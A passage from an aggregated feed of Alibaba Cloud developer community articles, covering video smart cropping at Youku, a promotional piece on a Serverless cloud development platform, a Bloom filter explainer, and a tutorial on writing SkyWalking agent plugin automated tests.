      同时我们将主体选择模型应用于复杂环境下的场景(如动物世界,大型晚会,新闻联播等)下进行效果测试,裁剪后的竖版视频效果符合预期,从而验证了我们提出的主体选择模型具备的泛化能力。

      在主体数据标注的过程中,我们制定了一套主体选择标注标准,包括主体中心化,主体max尺寸、主体尺寸比例,主体的姿态以及主体稳定性等。完成了主体图像数据集共9.5k的标注,视频数据集125个视频,共13.2万帧的标注。针对视频帧存在的多主体和人工标注的抖动问题,我们引入了reid和平滑滤波来为辅助解决上述两个问题。
      image.png

      三)主体追踪模块
      主体追踪模块包括目标追踪算法,镜头平滑算法,主体标定和主体追踪交互机制。通过对多个物体运行多次SOT追踪得到关键帧后续相邻帧中主体目标对应的位置,形成连续视频帧的镜头标定结果。我们在追踪模块中引入backward tracking策略,将短时track能力扩展为长时跟踪,并进行了local-to-global search based tracking,以此来降低追踪模块和主体标定模型的交互次数和计算时间。同时针对主体切分比例采取了黄金分割比例来提升美学观感。
      image.png

      由于目标追踪算法得到的镜头剪裁位置并不是平滑渐变的,这导致画面抖动,引起用户观看眩晕等较差体验,因此通过时间序列离群点检测和Kalman filter等技术,将异常定位点t进行平滑,解决了裁剪后视频帧间抖动问题,抖动幅度Jitter Degree得到了显著性的降低,人工评估视频帧后观感流畅。同时通过主体标定和主体追踪交互机制,保证了主体目标在镜头切换情况下的镜头内容连续性。

      image.png

      四)后处理模块
      针对视频剪裁后的视频画质问题,我们开发了后处理模块(包含画质增强,字幕/logo检测,画面内容修补等),主要解决剪裁边界可能的logo/字幕截断问题和裁剪后主体相对放大和编码导致的分辨率降低问题。其中我们针对性的设计了去噪、超分辨率模型,对裁剪后的降质视频进行画质提升,在超分模型研发中,我们在训练数据增强上采用自适应采样算法(如下图所示,红色bbox由随机采样得到,绿色bbox由自适应采样得到)使得采样得到的图像patch集中在纹理细节丰富的区域,在模型设计上,采用了multi-term loss
      和multi-branch module的结构进行模型训练,最终超分模型在技术指标psnr和人工背对背打分上都得到了显著提升。
      image.png

      结束语

      视频智能裁剪技术生产的视频和封面图广泛应用于优酷的各个场景,并得到了业务方和阿里云客户的一致认可,我们对视频智能裁剪算法栈进行了整体性能优化,达到处理时间仅1:2视频时长,目前该技术累计对优酷综艺:演技派,这就是街舞,这就是灌篮;优酷剧集:陆战之王,天雷一部之春花秋月,微微一笑很倾城等百部OGC进行裁剪服务,裁剪后的竖版视频用于抖音,微博等外渠宣发和站内投放,同时主体标定算法服务于搜索双列封面图生产,镜头平滑算法服务于弹幕人脸项目,视频裁剪算法已经部署在阿里云上,由于目前行业内竞品尚无成熟技术方案,已经通过申报《基于主体目标标定与追踪的视频智能剪裁技术》,《基于智能画面分析和多层级主体目标标定的图像智能剪裁技术》专利的方式来保障该产品技术的竞争优势,期待阿里文娱视频裁剪技术为中国的视频娱乐行业创造更大价值。同时感谢AZFT计算机视觉与分析实验室的朱建科老师在项目过程中的技术指导和大力支持。

      ]]>
      云端研发新基建:Serverless 与持续架构服务落地实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      作者 | 风驰

      image.png
      距离上一篇文章《我心中的云时代原生开发环境》的发布,已经过去了 4 个月的时间,在《我心中的云时代原生开发环境》这篇文章中,我们探讨过云厂商的愿景,云计算的趋势与现状以及研发团队的架构服务诉求等背景。今天,我想结合我和我的团队在这 4 个月时间内一起设计打造的云开发平台(Cloud Workbench)跟大家进一步聊聊,如何打造全云端研发的新基建,去服务好研发团队和雇主。

      云时代创新核心要素

      首先,让我们快速将视野放大到社会商业爆炸式增长的云时代,无论是创业公司还是发展中的公司,都希望能有一个低成本、可持续支撑的架构服务,帮助自己的业务持续发展,用户流量从小到大,无需变更架构,更不用中断业务。

      这种架构服务诉求背后的核心痛点体现在业务快速试错与流量快速增长之间的矛盾。如果从传统的架构方式去思考,这个问题很难调和:如果要快速奔跑,就没有时间好好思考设计架构;如果架构设计不好,就无法支撑未来巨大的流量;而如果花时间把架构设计好再动手,就没办法快速奔跑,很可能错过一个商业创新的时间窗口。另外,还有一个未知的疑问,这个设计好的架构真的够好么?

      结合我们之前的探索实践,我们知道,借助云原生 Serverless 的能力:实时弹性、按量付费,正好可以帮助我们把上述问题提升到一个新的维度去解决:业务完全可以放飞自我快速奔跑,架构服务由云原生Serverless矩阵来提供,保证流量再大也不怕。

      中小研发生态现状

      基于上述的一个判断,我们认为,现代商业社会的启动过程:从一个 idea 的诞生,到快速试错,再到上线服务用户的过程,有了一个很好的方案去支撑。但是,就像布道师们经常讲的一句话,人人都在谈云原生 Serverless,实际上并不是人人都知道怎么落地 Serverless。我们不妨来看几个真实的创业公司案例。

      案例一,天猫精灵技能业务

      天猫精灵的技能应用开发本身与天猫精灵开发者平台之前的连接较为松散,技能应用的开发对于一个中小开发者而言,启动成本较高。开发技能应用过程中的技术栈和方案也因人而异,因团队而异,也由于广大的开发者对技能应用背后的大流量没有一个一致的高水位保障,使得天猫精灵平台在做推广的时候也经常遇到阻力,担心在推广之后,很多技能无法承载大量涌入的活动流量,反而影响活动效果;

      案例二,某直播互动健身创业公司

      Y 公司是一家面对面直播互动健身的创业公司,研发团队的构成有 2 个前端、2 个后端、1 个架构师、1 个 iOS、1 个产品经理、1 个设计师,产品的构成有微信小程序、iOS APP、Android APP、PC 端 WEB 应用;

      当前的核心痛点及诉求:

      1. 研发成本、架构人员的浪费;(这已经算是幸福的烦恼了,很多公司是找不到合格的架构师的)
      2. 新人落地的成本(每个新人都有 3 个月的熟悉环境、流程、业务的成本);
      3. 自研自建业务架构的成本,要等业务架构确定后才能动手;
      4. 业务线切换的沉默成本比较高,如新业务启动到上线:技术架构的选型、服务的复用等等都是损耗;
      5. 运维成本,如:承接推活动来的高峰流量以及平时流量的平均成本;

      案例三,某软件外包服务商

      O 公司是一家 base 杭州的软件外包服务商,他们的研发团队构成为:5 个 Java、4 个前端、1 个iOS、1 个Android、1 个产品经理、2 个测试、5 个商务、6 个品牌、2 个 UI 设计;

      当前的核心痛点及诉求:

      1. 10人以下规模来什么做什么,没有沉淀,没有办法复用,没有高的盈利回报,人都铺在业务上,没时间学习架构,进入了一个恶性循环,需要一个很低的成本去采用一个先进的技术架构方案,确保不落伍,同时可以继续聚焦业务开发;有了可复用的空间(如架构、组件、服务)才有盈利的空间。10人以下的外包公司,CTO是不太可能去招的,40万一年的话,公司一半的利润就没了;
      2. 想依托于云,不过每家云厂商都产品众多,围绕自己的业务怎么知道有哪些产品适合,要一个个去挑选、学习,整体成本太高;

      核心要解决的问题以及产品化思考

      我们将上述调研的客户反馈诉求进行梳理,可以归纳出以下几点诉求:

      1. 人员、业务尽可能做到快速启动,低成本启动。开发人员能够快速进入业务开发,架构师能省就省,业务能够基于行业现有解决方案、基本业务架构、业务模块尽快启动;
      2. 开发人员的时间尽可能投入到业务开发中,但同时要保证业务所用技术架构的先进性:一个人的时间是恒定的,如何帮助中小企业把人员投入业务的时间从60%提高到99%,同时还能确保业务背后所用的技术栈及技术架构是行业内广受认可的;
      3. 线上业务能够做到按量付费:1、业务的流量高峰不会成为业务增长的瓶颈;2、类似于外包服务商/ISV,可以为他们的客户灵活制定弹性的服务体系;

      基于以上三点,我们进一步抽象用户群体以及场景和服务策略:

      主要用户群体

      1. 中小体量研发团队及创业公司研发团队;
      2. 要做开发生态的业务或平台;
      3. 行业软件/解决方案ISV/服务商;

      场景和服务策略

      1. 在快速商业化试错的创新创业场景下,通过集成设计以阿里云 Serverless 产品线为矩阵的业务架构,帮助用户快速迭代业务,同时保证业务上线后无需变更架构就可以持续支撑不断增长的流量,确保业务不中断,提高试错效率,降低试错成本;
      2. 在研发人员需要支持多业务线切换调度的场景下,通过集成云效研发协同底座的能力构建在线研发团队,通过设计解决方案实例化的能力构建统一应用开发环境,降低开发者在业务切换中的沉默成本,让开发者可以快速且专注地进入业务逻辑的开发,提高研发效率;
      3. 在需要快速启动业务的场景下,通过构建三套业务环境,帮助用户实现环境在线,降低环境准备的时间成本与投入成本;
      4. 为研发团队提供一种将应用开发方法和结果抽象成标准的格式化的解决方案的能力,用该解决方案统一快速地教育开发者;

      定义了用户群体、问题、场景以及服务策略之后,我们开始尝试去定义这个产品:

      我们要去打造一个全云端研发工作的平台,以业务、研发任务为用户界面,用户对云产品的感知尽量保持并限制在必要的情况之下,但是平台要在背后为他们提供一系列先进的云原生Serverless架构服务,同时,具备让用户的团队、环境、代码、协同等等实现在线的能力,帮助目标用户群体省钱、省时、可持续发展。

      核心技术方案

      作为一个面向用户业务视角而非云产品或任何单项研发能力视角的设计,背后就必不可少的要跟非常多的系统、产品、能力进行集成;并且,要达成与用户业务视角的关联,又需要额外设计一套核心应用模型去支撑。这里,我们通过两个架构设计,向大家阐述我们的实现思路与方式。

      系统集成架构

      1. 认同在线协同是大趋势。我们把自己定义为大协同领域的一环,最好能够依托于一个更具全局性的团队在线协同底座去建设,我们与云效合作共建,基于一个共同的团队模型以及数据去设计实现不同的领域能力。
      2. 原子研发能力分布广泛,以代码为主线进行串联设计,在开发者用户路径中,我们与 Codeup、Flow 等产品进行集成,与经济体共建 IDE 集成,共同推出 CloudIDE,为开发者提供从云上代码托管到云上研发,再到云上 CICD 的一站式服务;

      解决方案实例化架构

      用技术语言来描述的话,可以把解决方案实例化架构核心要解决的问题理解成将一个行业应用的开发经验进行 “序列化” 与 “反序列化” 的过程。

      我们与 OAM 团队合作,以 OAM 为规范,对构成一个行业应用的研发环境以及依赖资源进行格式化、规范化的描述,生成一个云开发平台所能理解和认识的解决方案,这是“序列化”的过程;

      当云开发平台去解析一个解决方案,核心会做两件事情,一是分析和生成一个基于阿里云产品矩阵构成的云原生 Serverless 架构,另一件事情是将依赖的资源做打包上传等预处理;然后开始生成任务,逐一进行生产、创建、安装,直至一个行业应用被初始化完成,这是“反序列化”的过程;

      通过这种设计,我们实现了云开发平台最为核心的能力:

      1. 帮助行业开发生态格式化、规范化地沉淀经验;
      2. 帮助行业开发生态快速分发、复制行业应用开发经验;
      3. 帮助行业开发生态无缝升级至先进的云原生Serverless架构;

      阿里云云开发平台正式上线服务

      2020 年 4 月 23 日,阿里云云开发平台联合天猫精灵智能应用平台共同发布,上线云开发服务功能,帮助天猫精灵智能应用的开发者以 0 启动成本、基于云原生Serverless架构服务,1分钟极致效率,完成一个标准技能应用的创建和部署。

      2020 年 4 月 28 日,阿里云云开发平台联合阿里前端委员会Serverless小组,共同发布基于 Ali Midway FaaS 框架的前后端一体通用 NodeJS 解决方案,帮助前端开发者以 0 启动成本、基于云原生Serverless架构服务,1分钟极致效率,完成一个标准WEB应用的创建和部署。

      在 Roadmap 中,还有微服务、小程序、大数据等场景解决方案将陆续上线。

      感受云开发平台的极致特性

      1 个开发界面
      打开浏览器就能开发不管你用什么设备,电脑、手机、平板不管是什么操作系统,Windows、MacOS、Linux、Android、iOS。

      1 套统一的业务环境
      统一的云上开发和业务环境(支持NodeJS,Java,PhP,Python, C# 等主流语言)登录即完成配置,无需等待,专注业务创新远程协同开发、所测即所得、测完即上线。

      1 个领先的架构
      基于业界领先的 Serverless 架构最快 1 秒钟部署按量付费不浪费,自动扩容不宕机。

      N 个行业应用场景
      解决方案模版化最快1分钟初始化一个行业应用(通用WEB应用,AIoT应用,微服务应用等等)99%时间聚焦在业务,开发更专注。

      了解云开发平台的运作方式
      云开发平台是一个可以满足开发者、研发团队完全基于「云+浏览器」就能完成日常开发工作的环境。它的设计理念是使自己成为团队大协同中的一环,它会跟阿里云诸多研发能力和工具进行集成,比如:云效企业协同底座、CloudIDE、Codeup、Flow 等等,籍由强大的阿里研发生态,为用户提供更大的协同研发可能,用户可以在使用云开发平台的时候,根据业务的需要,主动选择去开通使用更多类似于项目管理、需求管理、文档管理等其他服务。

      同时,为了帮助用户提供一个无缝应用阿里云服务的环境,云开发平台会跟阿里云的诸多云产品进行集成,随时为用户的使用而准备;用户可以在云开发平台创建基于各种场景解决方案的应用,并为每个应用选用不同的云服务,这些云服务会开通在用户的阿里云主账号之下,用户主动开通的各种云资源会按照用户的使用,正常地计量计费。

      云开发平台鼓励所有的场景解决方案尽可能多的基于阿里云的 Serverless 类型产品去提供服务。Serverless 类型的产品都具有实时弹性以及按量付费的特征,这可以帮助到商业化研发团队,以尽可能低的成本去实现自己的商业价值。

      云开发平台具体如何真实地帮到目标用户群体

      1、云开发平台如何帮助用户实现线上轻量化团队协同?

      我们联合云效,共同构建了一个在线研发团队的能力,团队规模从 1-10 人到 1000 人以上,全都免费提供,助力企业快速成长!

      1 分钟完成研发团队的在线化:在云开发平台,团队管理者创建好自己的企业,然后创建一批子账号分配给每一个团队成员,团队即完成了在线化;

      如果用户企业内已经有一套域账号系统,那么通过对接阿里云 SP 的 SAML 配置之后,能够方便实现用域账号的 SSO;

      如果团队并非组织关系型怎么办呢?在云开发平台,团队管理者创建好自己的企业,然后复制邀请链接,发送给那些并非组织关系里的成员,收到邀请的成员确认加入团队即完成团队的在线化;

      2、云开发平台如何帮助用户实现业务的快速启动呢?
      团队在线之后就要开始启动业务。

      新业务秒级启动:在云开发平台,团队管理员可以从应用场景中,选择一个成熟的行业应用解决方案,秒级完成应用的创建;

      业务开发人员直接进入业务开发,100% focus 在业务的开发交付:在云工作台,我们优化了以往传统线下研发模式中人人需要配置开发环境的弊端,将人人要做的事情,交由应用管理员一人执行,业务开发者登录云开发平台即开始业务开发;

      3、云开发平台如何帮助用户实现研发环境的升级呢?
      团队在线了,应用在线了,还剩下的环节就是代码和研发过程。

      安全可靠且免费的代码托管服务:云开发平台联合阿里云 Codeup,在云开发平台创建的每一个应用,都会自动分配一个免费的代码仓库,为用户提供安全可靠且免费的代码托管服务,帮助用户实现代码在线;

      功能强大的云端开发环境:云开发平台联合阿里经济体共建团队推出自研 CloudIDE,为用户提供功能强大,兼容 VS Code 插件生态的云端开发环境,内置NodeJS,Java,PhP,Python, C# 等主流语言开发环境,开箱即用,体验媲美本地;当然,开发者也可以选择将代码克隆到本地,继续以个人偏好的开发习惯进行开发,之后随时将代码同步到云端,做到云端与本地的实时同步;

      业界领先的Serverless架构:在每一个应用的背后,都有强大的阿里云Serverless产品矩阵构成的架构服务在支撑,API Gateway+Function Compute组合、VPC+ECI+EIP组合等等,保障每一个应用上线,都能稳稳地支撑,轻松助力用户不断攀登新的业绩高峰;

      0成本启动:基于强大的云开发平台服务以及阿里云Serverless架构矩阵,我们帮用户把 Serverless 如丝般顺滑落地到他们的业务之中,大胆开发,放心试错,无需为云开发平台支付任何费用;

      回顾

      在这次突如其来的疫情期间,所有人都隔离在家,也许千人规模的企业能够有内部的强大 IT 系统做支撑,整个企业仍然可以进行远程异地运转,但是对于广大的初创及成长中的企业,这种能力无疑是稀缺的,而在线,可能是未来的一个趋势和常态。随着阿里云云开发平台服务的上线,我们可以真正帮助到这些企业,通过用户业务视角、用户研发界面、提供云计算的开箱即用,去释放云上研发,Serverless架构的技术红利,推动云计算的普惠价值!


      阿里云新品发布会

      全面上云的时代,开发者应该如何转型才能跟上新基建发展的速度?今天中午 12 点阿里云新品发布为你揭晓答案,让你提前感受未来开发新标准,用 iPad 演示如何云开发,参与评论随机抽天猫精灵。

      识别下方二维码直达发布会:

      image.png


      image.png
      关注「Alibaba F2E」
      把握阿里巴巴前端新动向

      ]]>
      五分钟小知识:布隆过滤器原理和应用分析 | 算法必看系列四十二-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

      原文链接

      一、布隆过滤器出现的背景和要解决的问题

      Wikipedia 上面提到布隆过滤器早在 1970 年就被提出来,很难想象在当时那个年代它的主要用途是什么,估计当时提出也是一个数据模型吧。
      在互联网时代,每天会产生大量的数据,而且很多数据不是人产生的,而是机器产生的,就比如说是爬虫,每个网页被实际浏览的次数当中有一大半都是爬虫所致,那么这些数据怎么存储就是一个问题,有没有一个数据结构能够以很小的实际内存开销来存储这些数据呢?
      这也就是布隆过滤器要来解决的问题,要用尽量小的存储空间存储数据,还要使数据的获取更加快速、便捷。

      二、位图的概念

      在说布隆过滤器之前还是讲讲位图,BitMap,这个东西,先来回答这么一个问题,如果这个时候你需要判断一个整数是否在一堆整数当中,你会使用什么数据结构?散列表吗?这个当然是可行的,但是好不好呢?
      这里我的问题是只需要判断一个数在不在这一堆数里面,注意这里我要的结果其实只有两个,“在” 和 “不在”,如果说用散列把这些实际的数字全部存起来显然不是最理想的做法,我们只需要标记这个些数字存在即可,你可能会想到用 boolean 数组来做存储,还能不能继续优化?既然是 Binary 问题,那么一个 bit 是不是就够了,0 用来表示 false,1 用来表示 true,一个整数 4 个字节,32 bits,我们用一个 bit 就解决了,这样我们就把存储空间缩小了 32 倍。
      这个就是位图的概念,其就是用 bit 来作为存储数据的单位,数据量小的话,其优势可能并不明显,但是对于海量数据优势就很明显了。
      BitMap 其实就是一个整型数组,你也可以把其想象成 n * 32 的二维 bit 数组,但是这里还是有一个问题,上面我们讨论的仅仅是针对整数的存储是这样子,现实生活中,我们常常接触的会是字符串这类的数据,那这个该如何存储,我们该如何从字符串对应到实际的数组 index,这就要说到布隆过滤器了。

      三、布隆过滤器原理

      如果说要存储 1 亿个网站的 URL,你会使用什么样的数据结构?
      我们需要方便对应查找,因此 query 的时间复杂度不能过高,在正常的,我们经常接触的数据结构中,你可能会想到的是散列表、平衡二叉树、跳表等数据结构。
      我们来看看散列表,时间的话平均时间复杂度是 O(1),注意我这里说的是平均时间复杂度,哈希是会存在冲突的情况,这是你就要对比两个字符串上面的每个字符,完全符合条件才行,不符合还和继续找,继续对比;另外就是散列的存储空间,假如一个 URL 是 64 Bytes,那么 1 亿个 URL 大概是 6GB 的样子,但是对于散列来说的话这还没完,如果要尽量减少冲突的话,散列的实际 size 要比实际存储的数据的 size 要大,散列是这样,其他的数据结构,二叉树,跳表也都会有一些额外的开销,这些额外的开销都会导致实际存储当中不可避免的资源消耗。
      上面讲到的散列表其实就是数组,我们之前提到的位图也是数组,但是我们说到了字符串如何存储的问题,这时我们就需要借助哈希函数了,哈希函数会根据输入参数的特性返回一个数组 index,我们直接去这个 index 上查看即可。
      但是结合实际情况,我们有必要直接将整个 URL 存储起来吗?和位图的功能类似,布隆过滤器也仅仅是需要判断这个 URL 是不是在内存中,我们需要的答案是 “是” 或者 “不是”。
      但是这里有个问题,只要是哈希函数都会有冲突的问题,假如说我们之前标记了一个 URL 存在,但是这个时候冲突产生了,一个本身不存在的 URL 我们通过哈希函数发现其存在,这个时候就会产生误判,但是你要知道的是,这个误判也只是单向的,对于不同的 URL,哈希函数可能返回相同的值,但是如果说返回的这个值是不存在 的话,那么表示一定是不存在的,如果是存在的话,可能是存在,因为这时有可能是相同哈希值的 URL 存在,并不是当前的 URL 存在,这是就是我们说的误判的情况,简而言之就是 “false always false,true maybe true”。

      四、改进方法

      上面我们提到布隆过滤器会存在一定的误判率,这个时候我们需要做的就是尽量降低这个误判率。我们主要从两个方向进行优化,一个是布隆过滤器的 size,还有一个就是哈希函数。
      和散列表类似,这里也有一个装载因子的东西,它来保证实际的数据使用空间要低于总空间,这样的话才能使得冲突尽量的小;当然布隆过滤器是基于位图的,其占用的空间相比散列还是小的多的,一般实际空间和总空间 1:10 其实都不为过,这个比例绝大多数散列表是做不到的,特别是对于海量存储来说。因此这也就保证布隆过滤器的冲突发生几率要比散列表更加的小。
      另外一个影响冲突的因素是哈希函数,其实仅仅通过一个哈希函数来判断的话误判率确实会有点高,我们可以用多个哈希函数判断,这就好像有了多层保障,你必须保证满足条件1,条件2,条件3,…,才能被判定是 true,虽然说略微增加了时间的消耗,但是这些消耗往往都是常数级别的,误判率得到了有效的降低。
      所以,总的来说,增加布隆过滤器的大小,增加判断的哈希函数能够有效的降低误判率

      五、实际应用

      说了这么多,你可能会好奇布隆过滤器有啥用,只能返回一个 boolean 的值,有时还会出问题,在实际当中真的有用吗?
      在工程当中我们往往不会追求一个完美的结果,我们仅仅需要的是一个近似解,这就给布隆过滤器的应用提供了很大的空间
      在爬虫当中,机器需要知道这个网站是否被爬过,这里有上亿个网站,少爬一个其实没有多大区别,另外我们记录有多少用户访问了自己的 blog,这里也是近似,1000 个用户访问和 1002 个用户访问对我们影响并不大,我们只是看看这个大概的结果就行。
      对于海量数据来说,布隆过滤器的用途还是真的挺广泛的,它不需要特别大的存储空间就可以让计算机去做几乎正确的事情,这也是其它的传统的数据结构所不能达到的

      来源 | 五分钟学算法
      作者 | 程序员小吴

      ]]>
      SkyWalking agent 插件自动化测试实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言

      本文主要介绍SkyWalking agent 插件自动化测试框架组成及测试流程,以及一个实际的自动化测试testcase。

      SkyWalking 插件自动化测试框架介绍

      相关文档:

      [SkyWalking Plugin automatic test framework]
      (https://github.com/apache/skywalking/blob/master/docs/en/guides/Plugin-test.md)

      这个自动化测试框架主要包含下面几个部分:

      1. 测试环境docker镜像
      2. 自动化测试脚本
      3. testcase工程
      4. 结果验证工具

      测试环境docker镜像

      提供了两种测试环境:JVM-container 和 Tomcat-container,可以在创建testcase工程时选择使用的测试环境,官方推荐使用JVM-container。
      其中JVM-container 可以理解为用于运行基于SpringBoot的testcase项目,包含启动脚本,可以修改启动的JVM参数,灵活性更好。

      自动化测试脚本

      主要使用到两个脚本:

      • 创建testcase工程
        ${SKYWALKING_HOME}/test/plugin/generator.sh
        执行脚本后,根据提示输入testcase的类型,名称等信息,脚本自动创建一个可以编译运行的样例项目。
      • 运行测试案例
        ${SKYWALKING_HOME}/test/plugin/run.sh ${scenario_name}
        ${SKYWALKING_HOME}/test/plugin/run.sh -f ${scenario_name}
        ${SKYWALKING_HOME}/test/plugin/run.sh --debug ${scenario_name}

        参数说明:

        • -f 参数强制重新创建镜像,在修改SkyWalking agent或plugin后需要添加-f参数,否则不能更新测试镜像中的agent程序。只改动testcase时不需要-f参数,减少启动时间。
        • --debug 启用调试模式,推荐使用此参数,可以保留测试过程的logs

      testcase工程

      这里只介绍JVM-container类型的工程,实际上为基于SpringBoot的testcase应用。

      [plugin-scenario]
          |- [bin]
              |- startup.sh
          |- [config]
              |- expectedData.yaml
          |- [src]
              |- [main]
                  |- ...
              |- [resource]
                  |- log4j2.xml
          |- pom.xml
          |- configuration.yaml
          |- support-version.list
      
      [] = directory

      工程文件说明:

      文件/目录 说明
      bin/startup.sh testcase 应用启动脚本
      config/expectedData.yaml 测试结果验证数据
      configuration.yaml testcase 配置,包含类型、启动脚本、检测url等
      support-version.list testcase支持的版本列表,默认为空不会进行检查,可以改为all表示全部
      pom.xml maven 项目描述文件
      [src] testcase 源码目录

      其中对新手来说最难的是编写测试结果验证数据expectedData.yaml,数据格式不是很复杂,但要手写出来还是比较困难的。后面会提及一些技巧,可以从日志文件logs/validatolr.out中提取验证数据。

      测试结果验证工具

      SkyWalking 自动化测试工具的精髓所做应该就是自动验证测试结果数据,支持多种匹配条件表达式,可以灵活处理一些动态变化的数据。其中关键的是skywalking-validator-tools.jar工具,其源码repo为skywalking-agent-test-tool
      validator的代码量不大,通过阅读代码,可以了解expectedData.yaml的验证过程,理解验证数据的格式。

      自动化测试流程

      bash ./test/plugin/run.sh --debug xxxx-scenario
      -> 准备测试的workspace 
      -> 编译testcase工程
      -> 启动plugin-runner-helper 生成docker启动脚本等
      -> scenario.sh 
          -> 启动测试环境docker实例 
          -> docker容器中执行 /run.sh
              -> collector-startup.sh
                  -> 启动skywalking-mock-collector(测试数据收集服务)
              -> testcase/bin/startup.sh 
                  -> 启动testcase应用(-javaagent加载skywalking-agent.jar)
              -> 循环healthCheck,等待testcase应用启动完毕
              -> 访问entryService url,触发测试用例
              -> 接收测试数据,写入到data/actualData.yaml文件
              -> 启动skywalking-validator-tools.jar验证测试结果数据
              -> 结束

      设计测试用例

      测试结果验证工具只能收集testcase应用的APM数据,比如span和logEvent等,不能收集http请求的返回内容,但可以收集到请求的状态码。

      测试用例交互过程

      这里仅介绍通过http请求交互,收集http相关数据,其它的数据与具体插件相关。比如测试redis apm插件时,可以收集到redis事件,包含执行的redis命令语句。
      通过test/plugin/generator.sh命令生成测试用例中包含两个url,一个是healthCheck,一个是entryService。
      1)healthCheck一般不需要管,用于探测testcase应用是否启动成功。如果编写的testcase有需要初始化的数据,请在healthCheck返回成功之前进行处理。

      2)entryService是测试的入口url,healthCheck通过后,会接着访问entryService。可以在entryService的方法中进行调用测试方法,失败时返回4xx/5xx状态码。
      这里要注意一个问题:
      org.apache.skywalking.apm.testcase.*包下面的类不会被SkyWalking agent增强,这意味着这个包里面所有的类都不会被插件增强处理,比如标注了@Controller、@Component等的类并不会被apm-spring-annotation-plugin-*.jar 插件增强。如果要测试类增强的相关代码在testcase中,则要将代码放到这个包里面test.org.apache.skywalking.apm.testcase.*

      如何通过收集的APM数据判断测试成功或者失败?

      1)http处理成功返回200/3xx时收集到span信息没有status_code,处理异常返回4xx/5xx错误时会产生一个tag记录status_code,可以用于验证区分测试结果。参考代码如下:

      @RequestMapping("/dosomething")  
      public ResponseEntity dosomething() {  
        // check testcase is successful or not  
        if (isTestSuccess()) {  
            return ResponseEntity.ok("success");  
        } else {  
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("failure");  
        }  
      }

      2)还可以通过抛出异常来产生status_code和logEvent

        @RequestMapping("/xxx-scenario")  
        @ResponseBody  
        public String testcase() throws HttpStatusCodeException {  
          if (isTestSuccess()) {
              return "success";
          }
          throw new RuntimeException("failure");  
        }

      编写测试结果验证数据(expectedData.yaml)

      1. 启用调试模式 (--debug),保留日志文件目录logs
        bash ./test/plugin/run.sh --debug mytest-scenario
      2. 从日志文件提取收集的数据
        日志文件目录:skywalking/test/plugin/workspace/mytest-scenario/all/logs

      收集的数据可以从日志文件validatolr.out从提取到,找到后面的actual data:

      [2020-06-10 07:31:56:674] [INFO] - org.apache.skywalking.plugin.test.agent.tool.validator.assertor.DataAssert.assertEquals(DataAssert.java:29) - actual data:
      {
        "segmentItems": [
          {
            "serviceName": "mytest-scenario",
            "segmentSize": "2",
            "segments": [
              {
              ....
              }
            ]
          }
        ]
      }
      1. 将actual data的json数据转换为yaml
        打开其他测试场景的expectedData.yaml,如httpclient-3.x-scenario/config/expectedData.yaml 的第一段内容:
      segmentItems:  
      - serviceName: httpclient-3.x-scenario  
        segmentSize: ge 3  
        segments:  
        - segmentId: not null  
          spans:  
          - operationName: /httpclient-3.x-scenario/case/context-propagate  
            operationId: 0  
            parentSpanId: -1  
            spanId: 0  
            spanLayer: Http  
            startTime: nq 0  
            endTime: nq 0  
            componentId: 1  
            isError: false  
            spanType: Entry  
            peer: ''  
            tags:  
            - {key: url, value: 'http://localhost:8080/httpclient-3.x-scenario/case/context-propagate'}  
            - {key: http.method, value: GET}  
            refs:  
            - {parentEndpoint: /httpclient-3.x-scenario/case/httpclient, networkAddress: 'localhost:8080',  
              refType: CrossProcess, parentSpanId: 1, parentTraceSegmentId: not null, parentServiceInstance: not  
                null, parentService: httpclient-3.x-scenario, traceId: not null}  
            skipAnalysis: 'false'

      expectedData.yaml是用于检查测试结果的匹配模板,只有简单的几种匹配表达式如下表:

      Operator for number

      | Operator | Description |
      | :--- | :--- |
      | nq | Not equal |
      | eq | Equal(default) |
      | ge | Greater than or equal |
      | gt | Greater than |

      Operator for String

      | Operator | Description |
      | :--- | :--- |
      | not null | Not null |
      | null | Null or empty String |
      | eq | Equal(default) |

      比如segmentId是随机生成的,那么可以写成segmentId: not null 这样就可以匹配任意字符串。开始时间是变化的可以写成startTime: nq 0,只判断其是否大于0就可以。
      对照获取到的actual data json,修改对应的字段就可以了。可以忽略检查healthCheck的数据,只需要写上关键的segment。看一个案例,actual data 如下:

      {
        "segmentItems": [
          {
            "serviceName": "mytest-scenario",
            "segmentSize": "2",
            "segments": [
              { 
                  ... healthCheck ...
              },
              { 
                "segmentId": "ab32f6a2774347958318b0fb06ccd2f0.33.15917743102950000",
                "spans": [
                  { 
                    "operationName": "/case/mytest-scenario",
                    "operationId": "0",
                    "parentSpanId": "-1",
                    "spanId": "0",
                    "spanLayer": "Http",
                    "tags": [
                      { 
                        "key": "url",
                        "value": "http://localhost:8080/case/mytest-scenario"
                      },
                      { 
                        "key": "http.method",
                        "value": "GET"
                      }
                    ],
                    "startTime": "1591774310295",
                    "endTime": "1591774310316",
                    "componentId": "14",
                    "spanType": "Entry",
                    "peer": "",
                    "skipAnalysis": "false"
                  }
                ] 
              }
            ]       
          }         
        ]           
      }             

      对应的expectedData.yaml(忽略检查healthCheck的数据):

      segmentItems:  
        - serviceName: mytest-scenario  
          segmentSize: ge 1  
          segments:  
            - segmentId: not null  
              spans:  
                - operationName: /case/mytest-scenario  
                  operationId: 0  
                  parentSpanId: -1  
                  spanId: 0  
                  spanLayer: Http  
                  startTime: nq 0  
                  endTime: nq 0  
                  componentId: ge 1  
                  isError: false  
                  spanType: Entry  
                  peer: ''  
                  tags:  
                    - {key: url, value: 'http://localhost:8080/case/mytest-scenario'}  
                    - {key: http.method, value: GET}  
                  skipAnalysis: 'false'

      常见错误处理

      • docker 容器实例名冲突
        ./test/plugin/run.sh 出现下面的错误:

      docker: Error response from daemon: Conflict. The container name "/xxxx-scenario-all-local" is already in use by container "42cdee17e557bb71...". You have to remove (or rename) that container to be able to reuse that name.
      解决办法:
      删除上次测试失败留下来的容器实例:docker rm xxxx-scenario-all-local

      编写自动化测试testcase

      1. 生成testcase工程

      > cd skywalking
      > bash ./test/plugin/generator.sh
      Sets the scenario name
      >: mytest-scenario
      Chooses a type of container, 'jvm' or 'tomcat', which is 'jvm-container' or 'tomcat-container'
      >: jvm
      Gives an artifactId for your project (default: mytest-scenario)
      >: 
      Sets the entry name of scenario (default: mytest-scenario)
      >: 
      scenario_home: mytest-scenario
      type: jvm
      artifactId: mytest-scenario
      scenario_case: mytest-scenario
      
      Please confirm: [Y/N]
      >: y
